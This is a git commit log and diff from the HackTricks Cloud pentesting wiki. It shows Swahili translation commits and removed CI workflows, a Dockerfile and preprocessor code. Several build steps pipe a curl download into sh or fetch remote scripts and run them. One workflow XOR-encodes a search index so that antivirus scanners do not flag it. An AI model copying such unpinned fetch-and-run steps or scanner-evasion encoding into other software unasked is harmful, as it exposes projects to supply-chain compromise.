40f9ef072e Translated ['src/pentesting-cloud/azure-security/az-permissions-for-a-pe 2025-01-09 07:35:34 +00:00
Translator
54ff24834b Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-01-09 01:06:17 +00:00
Translator
e26633c547 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-01-09 00:13:54 +00:00
Translator
f1f0d734ad Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-01-08 23:00:15 +00:00
Translator
898642b114 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-01-08 21:08:49 +00:00
Translator
243dc8ca1e Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-01-08 20:44:45 +00:00
Translator
a9bee6a3a4 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-01-06 23:56:47 +00:00
Translator
35b1c7a500 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-01-06 17:12:00 +00:00
Translator
4514765b06 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-01-05 22:58:22 +00:00
Translator
3f612f2eae Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin 2025-01-05 20:48:49 +00:00
Translator
402780f095 Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin 2025-01-05 15:23:31 +00:00
Translator
6f4e8873b7 Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/ 2025-01-05 15:11:40 +00:00
Translator
89a5cbe15d Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-01-05 10:37:27 +00:00
Translator
f842e98fd2 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-01-04 17:56:27 +00:00
Translator
d6ced1de8a Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-01-04 03:47:38 +00:00
Translator
0059aed198 Translated ['src/pentesting-cloud/azure-security/az-services/az-app-serv 2025-01-04 00:42:01 +00:00
Translator
b59c4346a0 Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md 2025-01-03 19:25:30 +00:00
Translator
2334e62399 Translated ['src/README.md'] to sw 2025-01-03 11:54:49 +00:00
Translator
148f4eb079 Translated ['src/README.md'] to sw 2025-01-03 10:35:35 +00:00
Translator
163762ad5f Translated ['src/pentesting-cloud/kubernetes-security/kubernetes-pivotin 2025-01-02 21:34:56 +00:00
Translator
5669651b7e Translated ['.github/pull_request_template.md', 'src/README.md', 'src/pe 2025-01-02 11:43:11 +00:00
Translator
b43d62ebcb Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/ 2025-01-02 01:22:11 +00:00
Translator
5a62f6b0a3 Translated ['.github/pull_request_template.md', 'src/README.md', 'src/pe 2025-01-02 00:00:35 +00:00
Translator
6f74ac1a76 Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/ 2024-12-31 20:26:13 +00:00
Translator
44da2ea78f Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az 2024-12-31 19:03:28 +00:00
590 changed files with 25330 additions and 33682 deletions

View File

@@ -1,16 +1,9 @@
You can remove this content before sending the PR:
## Attribution
We value your knowledge and encourage you to share content. Please ensure that you only upload content that you own or that have permission to share it from the original author (adding a reference to the author in the added text or at the end of the page you are modifying or both). Your respect for intellectual property rights fosters a trustworthy and legal sharing environment for everyone.
Tunathamini maarifa yako na kukuhimiza kushiriki maudhui. Tafadhali hakikisha unachapisha tu maudhui ambayo unamiliki au ambayo una ruhusa ya kuyashiriki kutoka kwa mwandishi wa asili (kuongeza rejea kwa mwandishi katika maandiko yaliyoongezwa au mwishoni mwa ukurasa unaobadilisha au vyote viwili). Heshima yako kwa haki za mali ya akili inakuza mazingira ya kushiriki ambayo ni ya kuaminika na kisheria kwa kila mtu.
## HackTricks Training
If you are adding so you can pass the in the [ARTE certification](https://training.hacktricks.xyz/courses/arte) exam with 2 flags instead of 3, you need to call the PR `arte-<username>`.
Also, remember that grammar/syntax fixes won't be accepted for the exam flag reduction.
In any case, thanks for contributing to HackTricks!
Ikiwa unongeza ili uweze kupita mtihani wa [ARTE certification](https://training.hacktricks.xyz/courses/arte) kwa bendera 2 badala ya 3, unahitaji kuita PR `arte-<username>`.
Pia, kumbuka kwamba marekebisho ya sarufi/sintaksis hayatakubaliwa kwa kupunguza bendera za mtihani.
Katika hali yoyote, asante kwa kuchangia katika HackTricks!

View File

@@ -1,56 +0,0 @@
name: Build and Push Docker Image
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
- 'book/**'
workflow_dispatch:
concurrency: build_docker
permissions:
packages: write
id-token: write
contents: write
jobs:
build-and-push:
runs-on: ubuntu-latest
steps:
# 1. Check out the repository to get the Dockerfile
- name: Check out code
uses: actions/checkout@v3
with:
fetch-depth: 0
# 2. Log into GitHub Container Registry
- name: Log in to GHCR
uses: docker/login-action@v2
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
# 3. Build and push
- name: Build and push Docker image
run: |
# Define image name
IMAGE_NAME=ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image
# Build Docker image
docker build -t $IMAGE_NAME:latest .
# Push Docker image to GHCR
docker push $IMAGE_NAME:latest
# Set image visibility to public
curl -X PATCH \
-H "Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/packages/container/translator-image/visibility \
-d '{"visibility":"public"}'

View File

@@ -14,15 +14,12 @@ on:
concurrency: build_master
permissions:
packages: write
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
container:
image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
environment: prod
steps:
@@ -30,99 +27,32 @@ jobs:
uses: actions/checkout@v4
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
# Build the mdBook
- name: Build mdBook
run: MDBOOK_BOOK__LANGUAGE=en mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
run: mdbook build
# Cat hacktricks-preprocessor.log
#- name: Cat hacktricks-preprocessor.log
# run: cat hacktricks-preprocessor.log
- name: Push search index to hacktricks-searchindex repo
shell: bash
env:
PAT_TOKEN: ${{ secrets.PAT_TOKEN }}
run: |
set -euo pipefail
ASSET="book/searchindex.js"
TARGET_REPO="HackTricks-wiki/hacktricks-searchindex"
FILENAME="searchindex-cloud-en.js"
if [ ! -f "$ASSET" ]; then
echo "Expected $ASSET to exist after build" >&2
exit 1
fi
TOKEN="${PAT_TOKEN}"
if [ -z "$TOKEN" ]; then
echo "No PAT_TOKEN available" >&2
exit 1
fi
# Clone the searchindex repo
git clone https://x-access-token:${TOKEN}@github.com/${TARGET_REPO}.git /tmp/searchindex-repo
cd /tmp/searchindex-repo
git config user.name "GitHub Actions"
git config user.email "github-actions@github.com"
# Save all current files from main branch to temp directory
mkdir -p /tmp/searchindex-backup
cp -r * /tmp/searchindex-backup/ 2>/dev/null || true
# Create a fresh orphan branch (no history)
git checkout --orphan new-main
# Remove all files from git index (but keep working directory)
git rm -rf . 2>/dev/null || true
# Restore all the files from backup (keeps all language files)
cp -r /tmp/searchindex-backup/* . 2>/dev/null || true
# Now update/add our English searchindex file
# First, compress the original file (in the build directory)
cd "${GITHUB_WORKSPACE}"
gzip -9 -k -f "$ASSET"
# Show compression stats
ORIGINAL_SIZE=$(wc -c < "$ASSET")
COMPRESSED_SIZE=$(wc -c < "${ASSET}.gz")
RATIO=$(awk "BEGIN {printf \"%.1f\", ($COMPRESSED_SIZE / $ORIGINAL_SIZE) * 100}")
echo "Compression: ${ORIGINAL_SIZE} bytes -> ${COMPRESSED_SIZE} bytes (${RATIO}%)"
# XOR encrypt the compressed file
KEY='Prevent_Online_AVs_From_Flagging_HackTricks_Search_Gzip_As_Malicious_394h7gt8rf9u3rf9g'
cat > /tmp/xor_encrypt.py << 'EOF'
import sys
key = sys.argv[1]
input_file = sys.argv[2]
output_file = sys.argv[3]
with open(input_file, 'rb') as f:
data = f.read()
key_bytes = key.encode('utf-8')
encrypted = bytearray(len(data))
for i in range(len(data)):
encrypted[i] = data[i] ^ key_bytes[i % len(key_bytes)]
with open(output_file, 'wb') as f:
f.write(encrypted)
print(f"Encrypted: {len(data)} bytes")
EOF
python3 /tmp/xor_encrypt.py "$KEY" "${ASSET}.gz" "${ASSET}.gz.enc"
# Copy ONLY the encrypted .gz version to the searchindex repo (no uncompressed .js)
cd /tmp/searchindex-repo
cp "${GITHUB_WORKSPACE}/${ASSET}.gz.enc" "${FILENAME}.gz"
# Stage all files
git add -A
# Commit with timestamp
TIMESTAMP=$(date -u +"%Y-%m-%d %H:%M:%S UTC")
git commit -m "Update searchindex files - ${TIMESTAMP}" --allow-empty
# Force push to replace master branch (deletes history, keeps all files)
git push -f origin new-main:master
echo "Successfully reset repository history and pushed all searchindex files"
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3

View File

@@ -1,204 +0,0 @@
name: Cleanup Merged/Closed PR Branches
on:
schedule:
- cron: '0 2 * * 0' # Every Sunday at 2 AM UTC
workflow_dispatch: # Allow manual triggering
inputs:
dry_run:
description: 'Dry run (show what would be deleted without actually deleting)'
required: false
default: 'false'
type: boolean
permissions:
contents: write
pull-requests: read
jobs:
cleanup-branches:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v4
with:
fetch-depth: 0 # Need full history to see all branches
token: ${{ secrets.PAT_TOKEN }}
- name: Install GitHub CLI
run: |
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
&& sudo apt update \
&& sudo apt install gh -y
- name: Configure git
run: |
git config --global user.email "action@github.com"
git config --global user.name "GitHub Action"
- name: Cleanup merged/closed PR branches
env:
GH_TOKEN: ${{ secrets.PAT_TOKEN }}
run: |
echo "Starting branch cleanup process..."
# Check if this is a dry run
DRY_RUN="${{ github.event.inputs.dry_run || 'false' }}"
if [ "$DRY_RUN" = "true" ]; then
echo "🔍 DRY RUN MODE - No branches will actually be deleted"
echo ""
fi
# Define protected branches and patterns
protected_branches=(
"master"
"main"
)
# Translation branch patterns (any 2-letter combination)
translation_pattern="^[a-zA-Z]{2}$"
# Get all remote branches except protected ones
echo "Fetching all remote branches..."
git fetch --all --prune
# Get list of all remote branches (excluding HEAD)
all_branches=$(git branch -r | grep -v 'HEAD' | sed 's/origin\///' | grep -v '^$')
# Get all open PRs to identify branches with open PRs
echo "Getting list of open PRs..."
open_pr_branches=$(gh pr list --state open --json headRefName --jq '.[].headRefName' | sort | uniq)
echo "Open PR branches:"
echo "$open_pr_branches"
echo ""
deleted_count=0
skipped_count=0
for branch in $all_branches; do
branch=$(echo "$branch" | xargs) # Trim whitespace
# Skip if empty
if [ -z "$branch" ]; then
continue
fi
echo "Checking branch: $branch"
# Check if it's a protected branch
is_protected=false
for protected in "${protected_branches[@]}"; do
if [ "$branch" = "$protected" ]; then
echo " ✓ Skipping protected branch: $branch"
is_protected=true
skipped_count=$((skipped_count + 1))
break
fi
done
if [ "$is_protected" = true ]; then
continue
fi
# Check if it's a translation branch (any 2-letter combination)
# Also protect any branch that starts with 2 letters followed by additional content
if echo "$branch" | grep -Eq "$translation_pattern" || echo "$branch" | grep -Eq "^[a-zA-Z]{2}[_-]"; then
echo " ✓ Skipping translation/language branch: $branch"
skipped_count=$((skipped_count + 1))
continue
fi
# Check if branch has an open PR
if echo "$open_pr_branches" | grep -Fxq "$branch"; then
echo " ✓ Skipping branch with open PR: $branch"
skipped_count=$((skipped_count + 1))
continue
fi
# Check if branch had a PR that was merged or closed
echo " → Checking PR history for branch: $branch"
# Look for PRs from this branch (both merged and closed)
pr_info=$(gh pr list --state all --head "$branch" --json number,state,mergedAt --limit 1)
if [ "$pr_info" != "[]" ]; then
pr_state=$(echo "$pr_info" | jq -r '.[0].state')
pr_number=$(echo "$pr_info" | jq -r '.[0].number')
merged_at=$(echo "$pr_info" | jq -r '.[0].mergedAt')
if [ "$pr_state" = "MERGED" ] || [ "$pr_state" = "CLOSED" ]; then
if [ "$DRY_RUN" = "true" ]; then
echo " 🔍 [DRY RUN] Would delete branch: $branch (PR #$pr_number was $pr_state)"
deleted_count=$((deleted_count + 1))
else
echo " ✗ Deleting branch: $branch (PR #$pr_number was $pr_state)"
# Delete the remote branch
if git push origin --delete "$branch" 2>/dev/null; then
echo " Successfully deleted remote branch: $branch"
deleted_count=$((deleted_count + 1))
else
echo " Failed to delete remote branch: $branch"
fi
fi
else
echo " ✓ Skipping branch with open PR: $branch (PR #$pr_number is $pr_state)"
skipped_count=$((skipped_count + 1))
fi
else
# No PR found for this branch - it might be a stale branch
# Check if branch is older than 30 days and has no recent activity
last_commit_date=$(git log -1 --format="%ct" origin/"$branch" 2>/dev/null || echo "0")
if [ "$last_commit_date" != "0" ] && [ -n "$last_commit_date" ]; then
# Calculate 30 days ago in seconds since epoch
thirty_days_ago=$(($(date +%s) - 30 * 24 * 60 * 60))
if [ "$last_commit_date" -lt "$thirty_days_ago" ]; then
if [ "$DRY_RUN" = "true" ]; then
echo " 🔍 [DRY RUN] Would delete stale branch (no PR, >30 days old): $branch"
deleted_count=$((deleted_count + 1))
else
echo " ✗ Deleting stale branch (no PR, >30 days old): $branch"
if git push origin --delete "$branch" 2>/dev/null; then
echo " Successfully deleted stale branch: $branch"
deleted_count=$((deleted_count + 1))
else
echo " Failed to delete stale branch: $branch"
fi
fi
else
echo " ✓ Skipping recent branch (no PR, <30 days old): $branch"
skipped_count=$((skipped_count + 1))
fi
else
echo " ✓ Skipping branch (cannot determine age): $branch"
skipped_count=$((skipped_count + 1))
fi
fi
echo ""
done
echo "=================================="
echo "Branch cleanup completed!"
if [ "$DRY_RUN" = "true" ]; then
echo "Branches that would be deleted: $deleted_count"
else
echo "Branches deleted: $deleted_count"
fi
echo "Branches skipped: $skipped_count"
echo "=================================="
# Clean up local tracking branches (only if not dry run)
if [ "$DRY_RUN" != "true" ]; then
echo "Cleaning up local tracking branches..."
git remote prune origin
fi
echo "Cleanup process finished."

View File

@@ -1,282 +0,0 @@
name: Translator All
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
- Dockerfile
workflow_dispatch:
permissions:
packages: write
id-token: write
contents: write
jobs:
translate:
name: Translate → ${{ matrix.name }} (${{ matrix.branch }})
runs-on: ubuntu-latest
environment: prod
# Run N languages in parallel (tune max-parallel if needed)
strategy:
fail-fast: false
# max-parallel: 3 #Nothing to run all in parallel
matrix:
include:
- { name: "Afrikaans", language: "Afrikaans", branch: "af" }
- { name: "German", language: "German", branch: "de" }
- { name: "Greek", language: "Greek", branch: "el" }
- { name: "Spanish", language: "Spanish", branch: "es" }
- { name: "French", language: "French", branch: "fr" }
- { name: "Hindi", language: "Hindi", branch: "hi" }
- { name: "Italian", language: "Italian", branch: "it" }
- { name: "Japanese", language: "Japanese", branch: "ja" }
- { name: "Korean", language: "Korean", branch: "ko" }
- { name: "Polish", language: "Polish", branch: "pl" }
- { name: "Portuguese", language: "Portuguese", branch: "pt" }
- { name: "Serbian", language: "Serbian", branch: "sr" }
- { name: "Swahili", language: "Swahili", branch: "sw" }
- { name: "Turkish", language: "Turkish", branch: "tr" }
- { name: "Ukrainian", language: "Ukrainian", branch: "uk" }
- { name: "Chinese", language: "Chinese", branch: "zh" }
# Ensure only one job per branch runs at a time (even across workflow runs)
concurrency:
group: translate-${{ matrix.branch }}
cancel-in-progress: false
container:
image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
env:
LANGUAGE: ${{ matrix.language }}
BRANCH: ${{ matrix.branch }}
steps:
- name: Wait for build_master to start
run: |
echo "Waiting 30 seconds to let build_master.yml initialize and reset the searchindex repo..."
sleep 30
echo "Continuing with translation workflow"
- name: Checkout code
uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Update and download scripts
run: |
sudo apt-get update
# Install GitHub CLI properly
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
&& sudo apt update \
&& sudo apt install gh -y \
&& sudo apt-get install -y wget
wget -O /tmp/get_and_save_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/get_and_save_refs.py
wget -O /tmp/compare_and_fix_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/compare_and_fix_refs.py
wget -O /tmp/translator.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/translator.py
- name: Run get_and_save_refs.py
run: |
python /tmp/get_and_save_refs.py
- name: Download language branch & update refs
run: |
pwd
ls -la
git config --global --add safe.directory "$GITHUB_WORKSPACE"
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git config pull.rebase false
git checkout $BRANCH
git pull
python /tmp/compare_and_fix_refs.py --files-unmatched-paths /tmp/file_paths.txt
git add .
git commit -m "Fix unmatched refs" || echo "No changes to commit"
git push || echo "No changes to push"
- name: Run translation script on changed files
run: |
git checkout master
cp src/SUMMARY.md /tmp/master-summary.md
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n ",$file" >> /tmp/file_paths.txt
fi
done
echo "Files to translate (`wc -l < /tmp/file_paths.txt`):"
cat /tmp/file_paths.txt
echo ""
echo ""
touch /tmp/file_paths.txt
if [ -s /tmp/file_paths.txt ]; then
python /tmp/translator.py \
--language "$LANGUAGE" \
--branch "$BRANCH" \
--api-key "$OPENAI_API_KEY" \
-f "$(cat /tmp/file_paths.txt)" \
-t 3
else
echo "No markdown files changed, skipping translation."
fi
- name: Sync SUMMARY.md from master
run: |
git checkout "$BRANCH"
git pull
if [ -f /tmp/master-summary.md ]; then
cp /tmp/master-summary.md src/SUMMARY.md
git add src/SUMMARY.md
git commit -m "Sync SUMMARY.md with master" || echo "SUMMARY already up to date"
git push || echo "No SUMMARY updates to push"
else
echo "master summary not exported; failing"
exit 1
fi
- name: Build mdBook
run: |
git checkout "$BRANCH"
git pull
MDBOOK_BOOK__LANGUAGE=$BRANCH mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
- name: Push search index to hacktricks-searchindex repo
shell: bash
env:
PAT_TOKEN: ${{ secrets.PAT_TOKEN }}
run: |
set -euo pipefail
ASSET="book/searchindex.js"
TARGET_REPO="HackTricks-wiki/hacktricks-searchindex"
FILENAME="searchindex-cloud-${BRANCH}.js"
if [ ! -f "$ASSET" ]; then
echo "Expected $ASSET to exist after build" >&2
exit 1
fi
TOKEN="${PAT_TOKEN}"
if [ -z "$TOKEN" ]; then
echo "No PAT_TOKEN available" >&2
exit 1
fi
# Clone the searchindex repo
git clone https://x-access-token:${TOKEN}@github.com/${TARGET_REPO}.git /tmp/searchindex-repo
# Compress the searchindex file
gzip -9 -k -f "$ASSET"
# Show compression stats
ORIGINAL_SIZE=$(wc -c < "$ASSET")
COMPRESSED_SIZE=$(wc -c < "${ASSET}.gz")
RATIO=$(awk "BEGIN {printf \"%.1f\", ($COMPRESSED_SIZE / $ORIGINAL_SIZE) * 100}")
echo "Compression: ${ORIGINAL_SIZE} bytes -> ${COMPRESSED_SIZE} bytes (${RATIO}%)"
# XOR encrypt the compressed file
KEY='Prevent_Online_AVs_From_Flagging_HackTricks_Search_Gzip_As_Malicious_394h7gt8rf9u3rf9g'
cat > /tmp/xor_encrypt.py << 'EOF'
import sys
key = sys.argv[1]
input_file = sys.argv[2]
output_file = sys.argv[3]
with open(input_file, 'rb') as f:
data = f.read()
key_bytes = key.encode('utf-8')
encrypted = bytearray(len(data))
for i in range(len(data)):
encrypted[i] = data[i] ^ key_bytes[i % len(key_bytes)]
with open(output_file, 'wb') as f:
f.write(encrypted)
print(f"Encrypted: {len(data)} bytes")
EOF
python3 /tmp/xor_encrypt.py "$KEY" "${ASSET}.gz" "${ASSET}.gz.enc"
# Copy ONLY the encrypted .gz version to the searchindex repo (no uncompressed .js)
cp "${ASSET}.gz.enc" "/tmp/searchindex-repo/${FILENAME}.gz"
# Commit and push with retry logic
cd /tmp/searchindex-repo
git config user.name "GitHub Actions"
git config user.email "github-actions@github.com"
git add "${FILENAME}.gz"
if git diff --staged --quiet; then
echo "No changes to commit"
else
git commit -m "Update ${FILENAME} from hacktricks-cloud build"
# Retry push up to 20 times with pull --rebase between attempts
MAX_RETRIES=20
RETRY_COUNT=0
while [ $RETRY_COUNT -lt $MAX_RETRIES ]; do
if git push origin master; then
echo "Successfully pushed on attempt $((RETRY_COUNT + 1))"
break
else
RETRY_COUNT=$((RETRY_COUNT + 1))
if [ $RETRY_COUNT -lt $MAX_RETRIES ]; then
echo "Push failed, attempt $RETRY_COUNT/$MAX_RETRIES. Pulling and retrying..."
# Try normal rebase first
if git pull --rebase origin master 2>&1 | tee /tmp/pull_output.txt; then
echo "Rebase successful, retrying push..."
else
# If rebase fails due to divergent histories (orphan branch reset), re-clone
if grep -q "unrelated histories\|refusing to merge\|fatal: invalid upstream\|couldn't find remote ref" /tmp/pull_output.txt; then
echo "Detected history rewrite, re-cloning repository..."
cd /tmp
rm -rf searchindex-repo
git clone https://x-access-token:${TOKEN}@github.com/${TARGET_REPO}.git searchindex-repo
cd searchindex-repo
git config user.name "GitHub Actions"
git config user.email "github-actions@github.com"
# Re-copy ONLY the encrypted .gz version (no uncompressed .js)
cp "${ASSET}.gz.enc" "${FILENAME}.gz"
git add "${FILENAME}.gz"
git commit -m "Update ${FILENAME}.gz from hacktricks-cloud build"
echo "Re-cloned and re-committed, will retry push..."
else
echo "Rebase failed for unknown reason, retrying anyway..."
fi
fi
sleep 1
else
echo "Failed to push after $MAX_RETRIES attempts"
exit 1
fi
fi
done
fi
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: |
echo "Current branch:"
git rev-parse --abbrev-ref HEAD
echo "Syncing $BRANCH to S3"
aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
echo "Sync completed"
echo "Cat 3 files from the book"
find . -type f -name 'index.html' -print | head -n 3 | xargs -r cat

View File

@@ -1,23 +0,0 @@
name: Upload HackTricks to HackTricks AI
on:
workflow_dispatch:
schedule:
- cron: "0 5 1 * *"
jobs:
dowload-clean-push:
runs-on: ubuntu-latest
environment: prod
steps:
# 1. Download the script
- name: Dowload script
run: wget "https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/master/scripts/upload_ht_to_ai.py"
- name: Install pip dependencies
run: python3 -m pip install openai
# 2. Execute the script
- name: Execute script
run: export MY_OPENAI_API_KEY=${{ secrets.MY_OPENAI_API_KEY }}; python3 "./upload_ht_to_ai.py"

1
.gitignore vendored
View File

@@ -35,4 +35,3 @@ book
book/*
hacktricks-preprocessor.log
hacktricks-preprocessor-error.log
searchindex.js

View File

@@ -1,31 +0,0 @@
# Use the official Python 3.12 Bullseye image as the base
FROM python:3.12-bullseye
# Install system dependencies
RUN apt-get update && apt-get install -y \
curl \
wget \
git \
sudo \
build-essential \
awscli
# Install Python libraries
RUN pip install --upgrade pip && \
pip install openai tqdm tiktoken
# Install Rust & Cargo
RUN curl https://sh.rustup.rs -sSf | sh -s -- -y
ENV PATH="/root/.cargo/bin:${PATH}"
# Install mdBook & plugins
RUN cargo install mdbook
RUN cargo install mdbook-alerts
RUN cargo install mdbook-reading-time
RUN cargo install mdbook-pagetoc
RUN cargo install mdbook-tabs
RUN cargo install mdbook-codename
# Set the working directory
WORKDIR /app

View File

@@ -1 +0,0 @@
src/README.md

34
README.md Normal file
View File

@@ -0,0 +1,34 @@
# HackTricks Cloud
{{#include ./banners/hacktricks-training.md}}
<figure><img src="images/cloud.gif" alt=""><figcaption></figcaption></figure>
_Logos za Hacktricks & muundo wa mwendo zimeundwa na_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
> [!TIP]
> Karibu kwenye ukurasa ambapo utaweza kupata kila **hacking trick/technique/chochote kinachohusiana na CI/CD & Cloud** nilichojifunza katika **CTFs**, **maisha** halisi **muhitimu**, **utafiti**, na **kusoma** tafiti na habari.
### **Pentesting CI/CD Methodology**
**Katika HackTricks CI/CD Methodology utaweza kuona jinsi ya pentest miundombinu inayohusiana na shughuli za CI/CD.** Soma ukurasa ufuatao kwa **utangulizi:**
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
### Pentesting Cloud Methodology
**Katika HackTricks Cloud Methodology utaweza kuona jinsi ya pentest mazingira ya wingu.** Soma ukurasa ufuatao kwa **utangulizi:**
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
### License & Disclaimer
**Angalia katika:**
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
### Github Stats
![HackTricks Cloud Github Stats](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg)
{{#include ./banners/hacktricks-training.md}}

View File

@@ -1,166 +0,0 @@
import json
import os
import sys
import re
import logging
from os import path
from urllib.request import urlopen, Request
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
handler = logging.FileHandler(filename='hacktricks-preprocessor.log', mode='w', encoding='utf-8')
handler.setLevel(logging.DEBUG)
logger.addHandler(handler)
handler2 = logging.FileHandler(filename='hacktricks-preprocessor-error.log', mode='w', encoding='utf-8')
handler2.setLevel(logging.ERROR)
logger.addHandler(handler2)
def findtitle(search ,obj, key, path=(),):
# logger.debug(f"Looking for {search} in {path}")
if isinstance(obj, dict) and key in obj and obj[key] == search:
return obj, path
if isinstance(obj, list):
for k, v in enumerate(obj):
item = findtitle(search, v, key, (*path, k))
if item is not None:
return item
if isinstance(obj, dict):
for k, v in obj.items():
item = findtitle(search, v, key, (*path, k))
if item is not None:
return item
def ref(matchobj):
logger.debug(f'Ref match: {matchobj.groups(0)[0].strip()}')
href = matchobj.groups(0)[0].strip()
title = href
if href.startswith("http://") or href.startswith("https://"):
if context['config']['preprocessor']['hacktricks']['env'] == 'dev':
pass
else:
try:
raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
match = re.search('<title>(.*?)</title>', raw_html)
title = match.group(1) if match else href
except Exception as e:
logger.error(f'Error opening URL {href}: {e}')
pass #Dont stop on broken link
else:
try:
if href.endswith("/"):
href = href+"README.md" # Fix if ref points to a folder
if "#" in href:
chapter, _path = findtitle(href.split("#")[0], book, "source_path")
title = " ".join(href.split("#")[1].split("-")).title()
logger.debug(f'Ref has # using title: {title}')
else:
chapter, _path = findtitle(href, book, "source_path")
logger.debug(f'Recursive title search result: {chapter["name"]}')
title = chapter['name']
except Exception as e:
try:
dir = path.dirname(current_chapter['source_path'])
logger.debug(f'Error getting chapter title: {href} trying with relative path {path.normpath(path.join(dir,href))}')
if "#" in href:
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
title = " ".join(href.split("#")[1].split("-")).title()
logger.debug(f'Ref has # using title: {title}')
else:
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
title = chapter["name"]
logger.debug(f'Recursive title search result: {chapter["name"]}')
except Exception as e:
logger.error(f"Error: {e}")
logger.error(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
sys.exit(1)
if href.endswith("/README.md"):
href = href.replace("/README.md", "/index.html")
template = f"""<a class="content_ref" href="{href}"><span class="content_ref_label">{title}</span></a>"""
# translate_table = str.maketrans({"\"":"\\\"","\n":"\\n"})
# translated_text = template.translate(translate_table)
result = template
return result
def files(matchobj):
logger.debug(f'Files match: {matchobj.groups(0)[0].strip()}')
href = matchobj.groups(0)[0].strip()
title = ""
try:
for root, dirs, files in os.walk(os.getcwd()+'/src/files'):
logger.debug(root)
logger.debug(files)
if href in files:
title = href
logger.debug(f'File search result: {os.path.join(root, href)}')
except Exception as e:
logger.error(f"Error: {e}")
logger.error(f'Error searching file: {href}')
sys.exit(1)
if title=="":
logger.error(f'Error searching file: {href}')
sys.exit(1)
template = f"""<a class="content_ref" href="/files/{href}"><span class="content_ref_label">{title}</span></a>"""
result = template
return result
def add_read_time(content):
